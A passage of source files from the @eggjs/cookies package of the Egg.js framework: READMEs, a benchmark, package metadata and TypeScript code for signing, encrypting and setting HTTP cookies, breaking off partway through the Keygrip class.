THE\nSOFTWARE.\n"
  },
  {
    "path": "packages/cookies/README.md",
    "content": "# @eggjs/cookies\n\n[![NPM version][npm-image]][npm-url]\n[![npm download][download-image]][download-url]\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/cookies.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/cookies\n[download-image]: https://img.shields.io/npm/dm/@eggjs/cookies.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/cookies\n\nExtends [pillarjs/cookies](https://github.com/pillarjs/cookies) to adapt koa and egg with some additional features.\n\n## Encrypt\n\n`@eggjs/cookies` provide an alternative `encrypt` mode like `signed`. An encrypt cookie's value will be encrypted base on keys. Anyone who don't have the keys are unable to know the original cookie's value.\n\n```ts\nimport { Cookies } from '@eggjs/cookies';\n\nconst cookies = new Cookies(ctx, keys[, defaultCookieOptions]);\n\ncookies.set('foo', 'bar', { encrypt: true });\ncookies.get('foo', { encrypt: true });\n```\n\n**Note: you should both indicating in get and set in pairs.**\n\n## Cookie Length Check\n\n[Browsers all had some limitation in cookie's length](http://browsercookielimits.squawky.net/), so if set a cookie with an extremely long value(> 4093), `@eggjs/cookies` will emit an `cookieLimitExceed` event. You can listen to this event and record.\n\n```ts\nimport { Cookies } from '@eggjs/cookies';\n\nconst cookies = new Cookies(ctx, keys);\n\ncookies.on('cookieLimitExceed', ({ name, value }) => {\n  // log\n});\n\ncookies.set('foo', longText);\n```\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "packages/cookies/README.zh-CN.md",
    "content": "# @eggjs/cookies\n\n[![NPM version][npm-image]][npm-url]\n[![npm download][download-image]][download-url]\n\n[npm-image]: https://img.shields.io/npm/v/@eggjs/cookies.svg?style=flat-square\n[npm-url]: https://npmjs.org/package/@eggjs/cookies\n[download-image]: https://img.shields.io/npm/dm/@eggjs/cookies.svg?style=flat-square\n[download-url]: https://npmjs.org/package/@eggjs/cookies\n\n为 egg 提供 cookie 操作的封装。\n\n```ts\nctx.cookies = new Cookies(ctx, keys[, defaultCookieOptions]);\n\nctx.cookies.get('key', 'value', options);\nctx.cookies.set('key', 'value', options);\n```\n\n## 初始化\n\n初始化时需要传递 Array 类型 的keys 参数，否则无法使用 cookies 的 `signed` 和 `encrypt` 功能。\n\n每次设置或读取 signed cookie 或者 encrypt cookie 的时候，会用 keys 进行加密。每次加密都通过 keys 数组的第一个 key 进行加密，解密会从先到后逐个 key 尝试解密。读取 signed cookie 时，如果发现不是用第一个 key 进行加密时，会更新签名为第一个 key 加密的值。读取 encrypt cookie 时不会进行更新操作。\n\n### `defaultCookieOptions`\n\n全局默认配置：\n\n- autoChips - `Boolean` 是否开启 [CHIPS](https://developers.google.com/privacy-sandbox/3pcd/chips#security_design) 的自动适配方案，\n  会自动给 Cookie 新增一个 `_CHIPS-` 为前缀的分区 Cookie，优先读取非分区 Cookie，读取失败则尝试读取 `_CHIPS-` 前缀的同名 Cookie 适配三方 Cookie 禁止逻辑。\n  一旦 `cookies.set` 设置 `partitioned=true`，那么会强制忽略 `autoChips` 参数。\n\n## 设置 cookie\n\n通过 `cookies.set(key, value, options)` 的方式来设置一个 cookie。其中 options 支持的参数有：\n\n- path - `String` cookie 的有效路径，默认为 `/`。\n- domain - `String` cookie 的有效域名范围，默认为 `undefined`。\n- expires - `Date` cookie 的失效时间。\n- maxAge - `Number` cookie 的最大有效时间，如果设置了 maxAge，将会覆盖 expires 的值。\n- secure - `Boolean` 是否只在加密信道中传输，注意，如果请求为 http 时，不允许设置为 `true`，https 时自动设置为 `true`。\n- partitioned - `Boolean` 是否设置独立分区状态（[CHIPS](https://developers.google.com/privacy-sandbox/3pcd/chips)）的 Cookie。注意，只有 `secure` 为 `true` 的时候此配置才会生效。\n- removeUnpartitioned - `Boolean` 是否删除非独立分区状态的同名 cookie。注意，只有 `partitioned` 为 `true` 的时候此配置才会生效。\n- httpOnly - `Boolean` 如果设置为 `true`，则浏览器中不允许读取这个 cookie 的值。\n- overwrite - `Boolean` 如果设置为 `true`，在一个请求上重复写入同一个 key 将覆盖前一次写入的值，默认为 `false`。\n- signed - `Boolean` 是否需要对 cookie 进行签名，需要配合 get 时传递 signed 参数，此时前端无法篡改这个 cookie，默认为 `true`。\n- encrypt - `Boolean` 是否需要对 cookie 进行加密，需要配合 get 时传递 encrypt 参数，此时前端无法读到真实的 cookie 值，默认为 `false`。\n- priority - `String` 表示 cookie 优先级的字符串，可以设置为 `'low'`, `'medium'`, `'high'`，默认为 `undefined`。[A Retention Priority Attribute for HTTP Cookies](https://datatracker.ietf.org/doc/html/draft-west-cookie-priority)\n\n## 读取 cookie\n\n通过 `cookies.get(key, value, options)` 的方式来读取一个 cookie。其中 options 支持的参数有：\n\n- signed - `Boolean` 是否需要对 cookie 进行验签，需要配合 set 时传递 signed 参数，此时前端无法篡改这个 cookie，默认为 true。\n- encrypt - `Boolean` 是否需要对 cookie 进行解密，需要配合 set 时传递 encrypt 参数，此时前端无法读到真实的 cookie 值，默认为 false。\n\n## 删除 cookie\n\n通过 `cookie.set(key, null)` 来删除一个 cookie。如果传递了 `signed` 参数，签名也会被删除。\n\n## License\n\n[MIT](LICENSE)\n\n## Contributors\n\n[![Contributors](https://contrib.rocks/image?repo=eggjs/egg)](https://github.com/eggjs/egg/graphs/contributors)\n\nMade with [contributors-img](https://contrib.rocks).\n"
  },
  {
    "path": "packages/cookies/benchmark/index.cjs",
    "content": "const Benchmark = require('benchmark');\nconst benchmarks = require('beautify-benchmark');\nconst Cookies = require('cookies');\nconst Keygrip = require('keygrip');\nconst { Cookies: EggCookies } = require('..');\n\nconst suite = new Benchmark.Suite();\n\nconst keys = ['this is a very very loooooooooooooooooooooooooooooooooooooong key'];\nconst keygrip = new Keygrip(keys);\n\nconst eggCookie = createEggCookie();\nconst cookie = createCookie();\n\nconsole.log('------------get test----------');\nconsole.log(eggCookie.get('eggSign', { signed: true }));\nconsole.log(eggCookie.get('eggSign'));\nconsole.log(eggCookie.get('eggEncrypt', { encrypt: true }));\nconsole.log(cookie.get('sign', { signed: true }));\nconsole.log(cookie.get('sign'));\n\nconsole.log('------------set test----------');\neggCookie.set('eggSign', 'egg signed cookie', { signed: true });\ncookie.set('sign', 'signed cookie', { signed: true });\neggCookie.set('eggEncrypt', 'egg encrypt cookie', { encrypt: true });\nconsole.log(eggCookie.ctx.response.headers);\nconsole.log(cookie.response.headers);\n\nconsole.log('------------benchmark start----------');\n\nsuite\n  .add('create EggCookie', function () {\n    createEggCookie();\n  })\n  .add('create Cookie', function () {\n    createCookie();\n  })\n  .add('EggCookies.set with signed', function () {\n    createEggCookie().set('foo', 'bar', { signed: true });\n  })\n  .add('Cookies.set with signed', function () {\n    createCookie().set('foo', 'bar', { signed: true });\n  })\n  .add('EggCookies.set without signed', function () {\n    createEggCookie().set('foo', 'bar', { signed: false });\n  })\n  .add('Cookies.set without signed', function () {\n    createCookie().set('foo', 'bar', { signed: false });\n  })\n  .add('EggCookies.set with encrypt', function () {\n    createEggCookie().set('foo', 'bar', { encrypt: true });\n  })\n  .add('EggCookies.get with signed', function () {\n    createEggCookie().get('eggSign', { signed: true });\n  })\n  .add('Cookies.get with signed', function () {\n    createCookie().get('sign', { signed: true });\n  })\n  .add('EggCookies.get without signed', function () {\n    createEggCookie().get('eggSign', { signed: false });\n  })\n  .add('Cookies.get without signed', function () {\n    createCookie().get('sign', { signed: false });\n  })\n  .add('EggCookies.get with encrypt', function () {\n    createEggCookie().get('eggEncrypt', { encrypt: true });\n  })\n  .on('cycle', (event) => benchmarks.add(event.target))\n  .on('start', () => console.log('\\n  node version: %s, date: %s\\n  Starting...', process.version, Date()))\n  .on('complete', () => {\n    benchmarks.log();\n    process.exit(0);\n  })\n  .run({ async: false });\n\nfunction createCtx(egg) {\n  const request = {\n    headers: {\n      cookie:\n        'eggSign=egg signed cookie; eggSign.sig=SQ4wyGWr8vhSg7XCiz_MSxpHQ2GImbxE24fg4JVz7-o; sign=signed cookie; sign.sig=PvhhL9qTxML8uYSOaG_4Fr6EIEE; eggEncrypt=EpfmKzY4tX5OhafZS-onWOEIL0-CR6N_uGkFUFDCUno=;',\n    },\n    get(key) {\n      return this.headers[key.toLowerCase()];\n    },\n    getHeader(key) {\n      return this.get(key);\n    },\n    protocol: 'https',\n    secure: true,\n  };\n  const response = {\n    headers: {},\n    get(key) {\n      return this.headers[key.toLowerCase()];\n    },\n    getHeader(key) {\n      return this.get(key);\n    },\n  };\n  function set(key, value) {\n    this.headers[key.toLowerCase()] = value;\n  }\n  if (egg) response.set = set;\n  else response.setHeader = set;\n\n  return {\n    request,\n    response,\n    res: response,\n    req: request,\n    set(key, value) {\n      this.response.set(key, value);\n    },\n    get(key) {\n      return this.request.get(key);\n    },\n  };\n}\n\nfunction createEggCookie() {\n  return new EggCookies(createCtx(true), keys);\n}\n\nfunction createCookie() {\n  const ctx = createCtx();\n  return new Cookies(ctx.req, ctx.res, { keys: keygrip });\n}\n\n// v3\n// node version: v22.3.0, date: Sun Jun 23 2024 17:19:38 GMT+0800 (中国标准时间)\n// Starting...\n// 12 tests completed.\n\n// create EggCookie              x 26,305,561 ops/sec ±3.41% (87 runs sampled)\n// create Cookie                 x 18,373,466 ops/sec ±8.96% (81 runs sampled)\n// EggCookies.set with signed    x    453,511 ops/sec ±1.37% (97 runs sampled)\n// Cookies.set with signed       x    442,143 ops/sec ±2.48% (92 runs sampled)\n// EggCookies.set without signed x  4,644,441 ops/sec ±2.05% (95 runs sampled)\n// Cookies.set without signed    x  4,055,903 ops/sec ±0.14% (98 runs sampled)\n// EggCookies.set with encrypt   x    477,018 ops/sec ±1.10% (97 runs sampled)\n// EggCookies.get with signed    x    367,708 ops/sec ±0.29% (92 runs sampled)\n// Cookies.get with signed       x    133,608 ops/sec ±4.24% (87 runs sampled)\n// EggCookies.get without signed x  9,233,880 ops/sec ±8.40% (86 runs sampled)\n// Cookies.get without signed    x  7,135,602 ops/sec ±4.52% (86 runs sampled)\n// EggCookies.get with encrypt   x    423,227 ops/sec ±2.52% (89 runs sampled)\n\n// v2\n// create EggCookie              x 6,892,450 ops/sec ±1.19% (85 runs sampled)\n// create Cookie                 x 3,885,528 ops/sec ±1.07% (84 runs sampled)\n// EggCookies.set with signed    x    87,470 ops/sec ±1.63% (84 runs sampled)\n// Cookies.set with signed       x    85,711 ops/sec ±1.26% (85 runs sampled)\n// EggCookies.set without signed x   557,636 ops/sec ±0.97% (86 runs sampled)\n// Cookies.set without signed    x   550,085 ops/sec ±1.16% (86 runs sampled)\n// EggCookies.set with encrypt   x    68,705 ops/sec ±1.78% (80 runs sampled)\n// EggCookies.get with signed    x    78,196 ops/sec ±1.70% (83 runs sampled)\n// Cookies.get with signed       x    93,181 ops/sec ±1.58% (81 runs sampled)\n// EggCookies.get without signed x 1,942,366 ops/sec ±1.14% (84 runs sampled)\n// Cookies.get without signed    x 1,707,255 ops/sec ±1.13% (86 runs sampled)\n// EggCookies.get with encrypt   x    71,063 ops/sec ±2.53% (81 runs sampled)\n"
  },
  {
    "path": "packages/cookies/package.json",
    "content": "{\n  \"name\": \"@eggjs/cookies\",\n  \"version\": \"4.0.2-beta.5\",\n  \"description\": \"cookies module for egg\",\n  \"homepage\": \"https://github.com/eggjs/egg/tree/next/packages/cookies\",\n  \"license\": \"MIT\",\n  \"author\": \"fengmk2 <fengmk2@gmail.com> (https://github.com/fengmk2)\",\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"git+https://github.com/eggjs/egg.git\",\n    \"directory\": \"packages/cookies\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"type\": \"module\",\n  \"main\": \"./dist/index.js\",\n  \"module\": \"./dist/index.js\",\n  \"types\": \"./dist/index.d.ts\",\n  \"exports\": {\n    \".\": \"./src/index.ts\",\n    \"./package.json\": \"./package.json\"\n  },\n  \"publishConfig\": {\n    \"access\": \"public\",\n    \"exports\": {\n      \".\": \"./dist/index.js\",\n      \"./package.json\": \"./package.json\"\n    }\n  },\n  \"scripts\": {\n    \"typecheck\": \"tsgo --noEmit\"\n  },\n  \"dependencies\": {\n    \"should-send-same-site-none\": \"catalog:\",\n    \"utility\": \"catalog:\"\n  },\n  \"devDependencies\": {\n    \"@eggjs/tsconfig\": \"workspace:*\",\n    \"beautify-benchmark\": \"catalog:\",\n    \"benchmark\": \"catalog:\",\n    \"cookies\": \"catalog:\",\n    \"keygrip\": \"catalog:\",\n    \"typescript\": \"catalog:\"\n  },\n  \"engines\": {\n    \"node\": \">=22.18.0\"\n  }\n}\n"
  },
  {
    "path": "packages/cookies/src/cookie.ts",
    "content": "import assert from 'node:assert';\n\n/**\n * RegExp to match field-content in RFC 7230 sec 3.2\n *\n * field-content = field-vchar [ 1*( SP / HTAB ) field-vchar ]\n * field-vchar   = VCHAR / obs-text\n * obs-text      = %x80-FF\n */\nconst fieldContentRegExp = /^[\\u0009\\u0020-\\u007e\\u0080-\\u00ff]+$/; // eslint-disable-line no-control-regex\n\n/**\n * RegExp to match Same-Site cookie attribute value.\n * https://en.wikipedia.org/wiki/HTTP_cookie#SameSite_cookie\n */\nconst sameSiteRegExp = /^(?:none|lax|strict)$/i;\n\n/**\n * RegExp to match Priority cookie attribute value.\n */\nconst PRIORITY_REGEXP = /^(?:low|medium|high)$/i;\n\nexport interface CookieSetOptions {\n  /**\n   * The path for the cookie to be set in\n   */\n  path?: string | null;\n  /**\n   * The domain for the cookie\n   */\n  domain?: string | (() => string);\n  /**\n   * Is overridable\n   */\n  overwrite?: boolean;\n  /**\n   * Is the same site\n   */\n  sameSite?: string | boolean;\n  /**\n   * Encrypt the cookie's value or not\n   */\n  encrypt?: boolean;\n  /**\n   * Max age for browsers\n   */\n  maxAge?: number;\n  /**\n   * Expire time\n   */\n  expires?: Date;\n  /**\n   * Is for http only\n   */\n  httpOnly?: boolean;\n  /**\n   * Encrypt the cookie's value or not\n   */\n  secure?: boolean;\n\n  /**\n   * Once `true` and secure set to `true`, ignore the secure error in a none-ssl environment.\n   */\n  ignoreSecureError?: boolean;\n  /**\n   * Is it signed or not.\n   */\n  signed?: boolean | number;\n  /**\n   * Is it partitioned or not.\n   */\n  partitioned?: boolean;\n  /**\n   * Remove unpartitioned same name cookie or not.\n   */\n  removeUnpartitioned?: boolean;\n  /**\n   * The cookie priority.\n   */\n  priority?: 'low' | 'medium' | 'high' | 'LOW' | 'MEDIUM' | 'HIGH';\n}\n\nexport class Cookie {\n  name: string;\n  value: string;\n  readonly attrs: CookieSetOptions;\n\n  constructor(name: string, value?: string | null, attrs?: CookieSetOptions) {\n    assert(fieldContentRegExp.test(name), 'argument name is invalid');\n    assert(!value || fieldContentRegExp.test(value), 'argument value is invalid');\n    this.name = name;\n    this.value = value ?? '';\n    this.attrs = mergeDefaultAttrs(attrs);\n    assert(!this.attrs.path || fieldContentRegExp.test(this.attrs.path), 'argument option path is invalid');\n    if (typeof this.attrs.domain === 'function') {\n      this.attrs.domain = this.attrs.domain();\n    }\n    assert(!this.attrs.domain || fieldContentRegExp.test(this.attrs.domain), 'argument option domain is invalid');\n    assert(\n      !this.attrs.sameSite || this.attrs.sameSite === true || sameSiteRegExp.test(this.attrs.sameSite),\n      'argument option sameSite is invalid',\n    );\n    assert(!this.attrs.priority || PRIORITY_REGEXP.test(this.attrs.priority), 'argument option priority is invalid');\n    if (!value) {\n      this.attrs.expires = new Date(0);\n      // make sure maxAge is empty\n      this.attrs.maxAge = undefined;\n    }\n  }\n\n  toString(): string {\n    return this.name + '=' + this.value;\n  }\n\n  toHeader(): string {\n    let header = this.toString();\n    const attrs = this.attrs;\n    if (attrs.path) {\n      header += '; path=' + attrs.path;\n    }\n    const maxAge = typeof attrs.maxAge === 'string' ? parseInt(attrs.maxAge, 10) : attrs.maxAge;\n    // ignore 0, `session` and other invalid maxAge\n    if (maxAge) {\n      header += '; max-age=' + Math.round(maxAge / 1000);\n      attrs.expires = new Date(Date.now() + maxAge);\n    }\n    if (attrs.expires) {\n      header += '; expires=' + attrs.expires.toUTCString();\n    }\n    if (attrs.domain) {\n      header += '; domain=' + attrs.domain;\n    }\n    if (attrs.priority) {\n      header += '; priority=' + attrs.priority.toLowerCase();\n    }\n    if (attrs.sameSite) {\n      header += '; samesite=' + (attrs.sameSite === true ? 'strict' : attrs.sameSite.toLowerCase());\n    }\n    if (attrs.secure) {\n      header += '; secure';\n    }\n    if (attrs.httpOnly) {\n      header += '; httponly';\n    }\n    if (attrs.partitioned) {\n      header += '; partitioned';\n    }\n    return header;\n  }\n}\n\nfunction mergeDefaultAttrs(attrs?: CookieSetOptions) {\n  const merged = {\n    path: '/',\n    httpOnly: true,\n    secure: false,\n    overwrite: false,\n    sameSite: false,\n    partitioned: false,\n    priority: undefined,\n    ...attrs,\n  };\n  return merged;\n}\n"
  },
  {
    "path": "packages/cookies/src/cookies.ts",
    "content": "import assert from 'node:assert';\n\nimport { isSameSiteNoneCompatible } from 'should-send-same-site-none';\nimport { base64decode, base64encode } from 'utility';\n\nimport { Cookie, type CookieSetOptions } from './cookie.ts';\nimport { CookieError } from './error.ts';\nimport { Keygrip } from './keygrip.ts';\n\nconst keyCache = new Map<string[], Keygrip>();\n\nexport interface DefaultCookieOptions extends CookieSetOptions {\n  /**\n   * Auto get and set `_CHIPS-` prefix cookie to adaptation CHIPS mode (The default value is false).\n   */\n  autoChips?: boolean;\n}\n\nexport interface CookieGetOptions {\n  /**\n   * Whether to sign or not (The default value is true).\n   */\n  signed?: boolean;\n  /**\n   * Encrypt the cookie's value or not (The default value is false).\n   */\n  encrypt?: boolean;\n}\n\n/**\n * cookies for egg\n * extend pillarjs/cookies, add encrypt and decrypt\n */\nexport class Cookies {\n  readonly #keysArray: string[];\n  #keys: Keygrip;\n  readonly #defaultCookieOptions?: DefaultCookieOptions;\n  readonly #autoChips?: boolean;\n  readonly ctx: Record<string, any>;\n  readonly app: Record<string, any>;\n  readonly secure: boolean;\n  #parseChromiumResult?: ParseChromiumResult;\n\n  constructor(ctx: Record<string, any>, keys: string[], defaultCookieOptions?: DefaultCookieOptions) {\n    this.#keysArray = keys;\n    // default cookie options\n    this.#defaultCookieOptions = defaultCookieOptions;\n    this.#autoChips = defaultCookieOptions?.autoChips;\n    this.ctx = ctx;\n    this.secure = this.ctx.secure;\n    this.app = ctx.app;\n  }\n\n  get keys(): Keygrip {\n    if (!this.#keys) {\n      assert(Array.isArray(this.#keysArray), '.keys required for encrypt/sign cookies');\n      const cache = keyCache.get(this.#keysArray);\n      if (cache) {\n        this.#keys = cache;\n      } else {\n        this.#keys = new Keygrip(this.#keysArray);\n        keyCache.set(this.#keysArray, this.#keys);\n      }\n    }\n    return this.#keys;\n  }\n\n  /**\n   * get cookie value by name\n   * @param  {String} name - cookie's name\n   * @param  {Object} opts - cookies' options\n   *            - {Boolean} signed - default to true\n   *            - {Boolean} encrypt - default to false\n   * @return {String} value - cookie's value\n   */\n  get(name: string, opts: CookieGetOptions = {}): string | undefined {\n    let value = this._get(name, opts);\n    if (value === undefined && this.#autoChips) {\n      // try to read _CHIPS-${name} prefix cookie\n      value = this._get(this.#formatChipsCookieName(name), opts);\n    }\n    return value;\n  }\n\n  _get(name: string, opts: CookieGetOptions): string | undefined {\n    const signed = computeSigned(opts);\n    const header: string = this.ctx.get('cookie');\n    if (!header) return;\n\n    const match = header.match(getPattern(name));\n    if (!match) return;\n\n    let value = match[1];\n    if (!opts.encrypt && !signed) return value;\n\n    // signed\n    if (signed) {\n      const sigName = name + '.sig';\n      const sigValue = this.get(sigName, { signed: false });\n      if (!sigValue) return;\n\n      const raw = name + '=' + value;\n      const index = this.keys.verify(raw, sigValue);\n      if (index < 0) {\n        // can not match any key, remove ${name}.sig\n        this.set(sigName, null, { path: '/', signed: false, overwrite: true });\n        return;\n      }\n      if (index > 0) {\n        // not signed by the first key, update sigValue\n        this.set(sigName, this.keys.sign(raw), {\n          signed: false,\n          overwrite: true,\n        });\n      }\n      return value;\n    }\n\n    // encrypt\n    value = base64decode(value, true, 'buffer') as string;\n    const res = this.keys.decrypt(value);\n    return res ? res.value.toString() : undefined;\n  }\n\n  set(name: string, value: string | null, opts?: CookieSetOptions): this {\n    opts = {\n      ...this.#defaultCookieOptions,\n      ...opts,\n    };\n    const signed = computeSigned(opts);\n    const shouldIgnoreSecureError = opts && opts.ignoreSecureError;\n    value = value || '';\n    if (!shouldIgnoreSecureError) {\n      if (!this.secure && opts.secure) {\n        throw new CookieError('Cannot send secure cookie over unencrypted connection');\n      }\n    }\n\n    let headers: string[] = this.ctx.response.get('set-cookie') || [];\n    if (!Array.isArray(headers)) {\n      headers = [headers];\n    }\n\n    // encrypt\n    if (opts.encrypt) {\n      value = value && base64encode(this.keys.encrypt(value), true);\n    }\n\n    // http://browsercookielimits.squawky.net/\n    if (value.length > 4093) {\n      this.app.emit('cookieLimitExceed', { name, value, ctx: this.ctx });\n    }\n\n    // https://github.com/linsight/should-send-same-site-none\n    // fixed SameSite=None: Known Incompatible Clients\n    const userAgent: string | undefined = this.ctx.get('user-agent');\n    let isSameSiteNone = false;\n    // disable autoChips if partitioned enable\n    let autoChips = !opts.partitioned && this.#autoChips;\n    if (opts.sameSite && typeof opts.sameSite === 'string' && opts.sameSite.toLowerCase() === 'none') {\n      isSameSiteNone = true;\n      if (opts.secure === false || !this.secure || (userAgent && !this.isSameSiteNoneCompatible(userAgent))) {\n        // Non-secure context or Incompatible clients, don't send SameSite=None property\n        opts.sameSite = false;\n        isSameSiteNone = false;\n      }\n    }\n    if (autoChips || opts.partitioned) {\n      // allow to set partitioned: secure=true and sameSite=none and chrome >= 118\n      if (\n        !isSameSiteNone ||\n        opts.secure === false ||\n        !this.secure ||\n        (userAgent && !this.isPartitionedCompatible(userAgent))\n      ) {\n        // Non-secure context or Incompatible clients, don't send partitioned property\n        autoChips = false;\n        opts.partitioned = false;\n      }\n    }\n\n    // remove unpartitioned same name cookie first\n    if (opts.partitioned && opts.removeUnpartitioned) {\n      const overwrite = opts.overwrite;\n      if (overwrite) {\n        opts.overwrite = false;\n        headers = ignoreCookiesByName(headers, name);\n      }\n      const removeCookieOpts = {\n        ...opts,\n        partitioned: false,\n      };\n      const removeUnpartitionedCookie = new Cookie(name, '', removeCookieOpts);\n      // if user not set secure, reset secure to ctx.secure\n      if (opts.secure === undefined) {\n        removeUnpartitionedCookie.attrs.secure = this.secure;\n      }\n\n      headers = pushCookie(headers, removeUnpartitionedCookie);\n      // signed\n      if (signed) {\n        removeUnpartitionedCookie.name += '.sig';\n        headers = ignoreCookiesByNameAndPath(\n          headers,\n          removeUnpartitionedCookie.name,\n          removeUnpartitionedCookie.attrs.path,\n        );\n        headers = pushCookie(headers, removeUnpartitionedCookie);\n      }\n    } else if (autoChips) {\n      // add _CHIPS-${name} prefix cookie\n      const newCookieName = this.#formatChipsCookieName(name);\n      const newCookieOpts = {\n        ...opts,\n        partitioned: true,\n      };\n      const newPartitionedCookie = new Cookie(newCookieName, value, newCookieOpts);\n      // if user not set secure, reset secure to ctx.secure\n      if (opts.secure === undefined) newPartitionedCookie.attrs.secure = this.secure;\n\n      headers = pushCookie(headers, newPartitionedCookie);\n      // signed\n      if (signed) {\n        newPartitionedCookie.value = value && this.keys.sign(newPartitionedCookie.toString());\n        newPartitionedCookie.name += '.sig';\n        headers = ignoreCookiesByNameAndPath(headers, newPartitionedCookie.name, newPartitionedCookie.attrs.path);\n        headers = pushCookie(headers, newPartitionedCookie);\n      }\n    }\n\n    const cookie = new Cookie(name, value, opts);\n    // if user not set secure, reset secure to ctx.secure\n    if (opts.secure === undefined) {\n      cookie.attrs.secure = this.secure;\n    }\n    headers = pushCookie(headers, cookie);\n\n    // signed\n    if (signed) {\n      cookie.value = value && this.keys.sign(cookie.toString());\n      cookie.name += '.sig';\n      headers = pushCookie(headers, cookie);\n    }\n\n    this.ctx.set('set-cookie', headers);\n    return this;\n  }\n\n  #formatChipsCookieName(name: string) {\n    return `_CHIPS-${name}`;\n  }\n\n  #parseChromiumAndMajorVersion(userAgent: string) {\n    if (!this.#parseChromiumResult) {\n      this.#parseChromiumResult = parseChromiumAndMajorVersion(userAgent);\n    }\n    return this.#parseChromiumResult;\n  }\n\n  isSameSiteNoneCompatible(userAgent: string): boolean {\n    // Chrome >= 80.0.0.0\n    const result = this.#parseChromiumAndMajorVersion(userAgent);\n    if (result.chromium) {\n      return result.majorVersion >= 80;\n    }\n    return isSameSiteNoneCompatible(userAgent);\n  }\n\n  isPartitionedCompatible(userAgent: string): boolean {\n    // support: Chrome >= 114.0.0.0\n    // default enable: Chrome >= 118.0.0.0\n    // https://developers.google.com/privacy-sandbox/3pcd/chips\n    const result = this.#parseChromiumAndMajorVersion(userAgent);\n    if (result.chromium) {\n      return result.majorVersion >= 118;\n    }\n    return false;\n  }\n}\n\ninterface ParseChromiumResult {\n  chromium: boolean;\n  majorVersion: number;\n}\n\n// https://github.com/linsight/should-send-same-site-none/blob/master/index.js#L86\nfunction parseChromiumAndMajorVersion(userAgent: string): ParseChromiumResult {\n  const m = /Chrom[^ /]{1,100}\\/(\\d{1,100}?)\\./.exec(userAgent);\n  if (!m) {\n    return { chromium: false, majorVersion: 0 };\n  }\n  // Extract digits from first capturing group.\n  return { chromium: true, majorVersion: parseInt(m[1]) };\n}\n\nconst _patternCache = new Map<string, RegExp>();\nfunction getPattern(name: string) {\n  const cache = _patternCache.get(name);\n  if (cache) {\n    return cache;\n  }\n  const reg = new RegExp('(?:^|;) *' + name.replace(/[-[\\]{}()*+?.,\\\\^$|#\\s]/g, '\\\\$&') + '=([^;]*)');\n  _patternCache.set(name, reg);\n  return reg;\n}\n\nfunction computeSigned(opts: { encrypt?: boolean; signed?: boolean | number }) {\n  // encrypt default to false, signed default to true.\n  // disable singed when encrypt is true.\n  if (opts.encrypt) return false;\n  return opts.signed !== false;\n}\n\nfunction pushCookie(cookies: string[], cookie: Cookie) {\n  if (cookie.attrs.overwrite) {\n    cookies = ignoreCookiesByName(cookies, cookie.name);\n  }\n  cookies.push(cookie.toHeader());\n  return cookies;\n}\n\nfunction ignoreCookiesByName(cookies: string[], name: string) {\n  const prefix = `${name}=`;\n  return cookies.filter((c) => !c.startsWith(prefix));\n}\n\nfunction ignoreCookiesByNameAndPath(cookies: string[], name: string, path: string | null | undefined) {\n  if (!path) {\n    return ignoreCookiesByName(cookies, name);\n  }\n  const prefix = `${name}=`;\n  // foo=hello; path=/path1; samesite=none\n  const includedPath = `; path=${path};`;\n  // foo=hello; path=/path1\n  const endsWithPath = `; path=${path}`;\n  return cookies.filter((c) => {\n    if (c.startsWith(prefix)) {\n      if (c.includes(includedPath) || c.endsWith(endsWithPath)) {\n        return false;\n      }\n    }\n    return true;\n  });\n}\n"
  },
  {
    "path": "packages/cookies/src/error.ts",
    "content": "export class CookieError extends Error {\n  constructor(message: string, options?: ErrorOptions) {\n    super(message, options);\n    this.name = this.constructor.name;\n    if ('captureStackTrace' in Error) {\n      Error.captureStackTrace(this, this.constructor);\n    }\n  }\n}\n"
  },
  {
    "path": "packages/cookies/src/index.ts",
    "content": "export * from './cookies.ts';\nexport * from './cookie.ts';\nexport * from './error.ts';\nexport * from './keygrip.ts';\n"
  },
  {
    "path": "packages/cookies/src/keygrip.ts",
    "content": "import assert from 'node:assert';\nimport crypto, { type Cipheriv } from 'node:crypto';\nimport { debuglog } from 'node:util';\n\nconst debug = debuglog('egg/cookies:keygrip');\n\nconst KEY_LEN = 32;\nconst IV_SIZE = 16;\nconst passwordCache = new Map();\n\nconst replacer: Record<string, string> = {\n  '/': '_',\n  '+': '-',\n  '=': '',\n};\n\nfunction constantTimeCompare(a: Buffer, b: Buffer) {\n  if (a.length !== b.length) {\n    return false;\n  }\n  return crypto.timingSafeEqual(a, b);\n}\n\n// patch from https://github.com/crypto-utils/keygrip\n\nexport class Keygrip {\n  readonly #keys: string[];\n  readonly #hash = 'sha256';\n  readonly #cipher = 'aes-256-cbc';\n\n  constructor(keys: string[]) {\n    assert(Array.isArray(keys) && keys.length > 0, 'keys must be provided and should be an array');\n    this.#keys = keys;\n  }\n\n  // encrypt a message\n  encrypt(data: string, key?: string): Buffer {\n    key = key || this.#keys[0];\n    const password = keyToPassword(key);\n    const cipher = crypto.createCipheriv(this.#cipher, password.key, password.iv);\n    return crypt(cipher, data);\n  }\n\n  // decrypt a single message\n  // returns false on bad decrypts\n  decrypt(data: string | Buffer): { value: Buffer; index: number } | false {\n    // decrypt every key\n    const keys = this.#keys;\n    for (let i = 0; i < keys.length; i++) {\n      const value = this.#decryptByKey(data, keys[i]);\n      if (value !== false) {\n        return { value, index: i };\n      }\n    }\n    return false;\n  }\n\n  #decryptByKey(data: string | Buffer, key: string) {\n    try {\n      const password = keyToPassword(key);\n      const cipher = crypto.createDecipheriv(this.#cipher, password.key, password.iv);\n      return crypt(cipher, data);\n    } catch (err: any) {\n      debug('crypt error: %s', err);\n      return false;\n    }\n  }\n\n  sign(data: string | Buffer, key?: string): string {\n    // default to the first key\n    key = key || this.#keys[0];\n\n    // url safe base64\n    return crypto\n      .createHmac(this.#hash, key)\n      .update(data)\n      .digest('base64')\n      .replace(/\\/|\\+|=/g, (x) => {\n        return replacer[x];\n      });\n  }\n\n  verify(data: string, digest: string): number {\n    const keys = this.#keys;\n    for (let i = 0; i < keys.length; i++) {\n      const key = keys[i];\n      if (constantTimeCompare(Buffer.from(digest), Buffer.from(this.sign(data, key)))) {\n        debug('data %s match key %s, index: %d', data, key, i);\n        return i;\n      }\n    }\n    return -1;\n  